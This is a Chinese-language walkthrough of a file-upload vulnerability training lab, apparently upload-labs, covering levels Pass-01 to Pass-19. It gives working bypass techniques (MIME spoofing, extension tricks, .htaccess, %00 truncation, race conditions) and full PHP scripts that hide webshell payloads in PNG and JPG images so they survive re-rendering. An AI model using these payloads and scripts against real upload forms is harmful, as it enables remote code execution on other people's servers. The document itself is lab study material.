Pass-01

前端验证,审查元素删除HTML中的onsubmit属性再上传即可

Pass-02

MIME验证抓包修改 Content-Typeimage/jpeg 后Forward即可

Pass-03

黑名单绕过,上传.phtml后缀即可

Pass-04

黑名单过滤了大多数后缀,于是上传.htaccess文件,内容如下,再上传后缀为.jpg的图片马即可

SetHandler application/x-httpd-php

Pass-05

黑名单过滤的绝大多数后缀名,并未进行大小写转换,于是上传.Php后缀即可

Pass-06

黑名单绕过,抓包在后缀名最后加上一个空格即可上传绕过

Pass-07

没进行删除末尾的点的函数,抓包在后缀名后加上一个点即可

Pass-08

未过滤::$DATA,利用Windows解析特性,抓包在后缀名后面添加上::$DATA即可绕过

php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持”::$DATA”之前的文件名

Pass-09

此处文件路径拼接的是处理后的文件名,于是上传后缀为php. .的文件即可

Pass-10

函数将黑名单内的后缀名替换成空,这里双写后缀名.pphphp即可

Pass-11

白名单验证,提示上传路径可控,发现在上传一个文件之后就会get一个文件路径参数,于是利用%00截断,使得文件路径为upload/1.php%00(文件名),后面的文件没就就没读取了,这样访问upload/1.php即可获得木马路径。

版本要求:

php版本要小于5.3.4,5.3.4及以上已经修复该问题

magic_quotes_gpc需要为OFF状态

Pass-12

与上题不一样这题改用了POST方法,一样%00截断抓包改即可,php版本需要注意

因为是十六进制所以这种截断叫做是0x00截断,其实是%00截断最终被url解码还是会变成0x00的。在url%00表示ascll码中的0,而ascii0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。

Pass-13

cmd到两个文件所在路径下用copy命令制作图片马

png:copy 1.png/b + 1.php/a shell.png

jpg:copy 1.jpg/b + 1.php/a shell.jpg

jpg:copy 1.gif/b + 1.php/a shell.gif

制作好后上传,在文件包含漏洞页面getfile参数进行读取解析即可 ?file=./upload/6420200209090636.png(三种都一样)

Pass-14

后台代码改了,用的getimagesize函数判断后缀,但是解题方法还是和上题一样

Pass-15

本题用了php_exif模块来判断文件类型,图片马一样可以绕过

用于读取一个图像的第一个字节并检查其签名

如果发现了恰当的签名则返回一个对应的常量,否则返回false

Pass-16

参考:https://xz.aliyun.com/t/2657

这题存在对图片的二次渲染

GIF

将做好的GIF图片马上传上去,利用文件包含漏洞进行读取,发现图片中的php代码并没有被解析,并且图片进行了二次渲染重构,内容被改写,于是使用GIF图的处理方法,将图片内容保存下来,与上传前的图片马作比较,发现有一部分没有被重写(如下图),于是将一句话插入到这一部分内容中,保存,重新上传,成功解析

PNG

方法1

这里有国外大牛的脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

但我TM竟然不知道<?=$_GET[0]($_POST[1]);?>这个怎么利用???!!!

制作好png上传后下载下来成功镶入了那句话,但我还是不知道怎么用。。。算了先放这里

方法2

在PLTE数据块后加入一句话

计算PLTE数据块的CRC
CRC脚本

import binascii
import re

png = open(r'2.png','rb')
a = png.read()
png.close()
hexstr = binascii.b2a_hex(a)

''' PLTE crc '''
data =  '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0]
crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff
print hex(crc)

运算结果:526579b0

修改CRC值

将这个图片上传就传上一句话了(反正我是没搞出来)。。。原文中素材链接

JPG

首先准备一张.jpg后缀的文件,上传上去然后将二次渲染后的图片下载下来命名为1.jpg

然后上国外大佬脚本,并且命名为jpg_payload.php

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>"; /*这里插入想插入的一句话代码*/


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

然后执行命令php jpg_payload.php 1.jpg

显示Success!即成功,装换后的文件名为payload_1.jpg

payload_1.jpg上传,php代码成功被解析

Pass-17

条件竞争,利用burp的intruder模块,不停的发送数据包,就可以连接上,我硬是开了3个intruder模块才访问的到网页

Pass-18

同样条件竞争,让发包的速度快过函数rename()的速度即可成功上传

Pass-19

保存名称那里在后缀,名加上一个/..(空格).move_uploaded_file()还有一个特性,会忽略掉文件末尾的.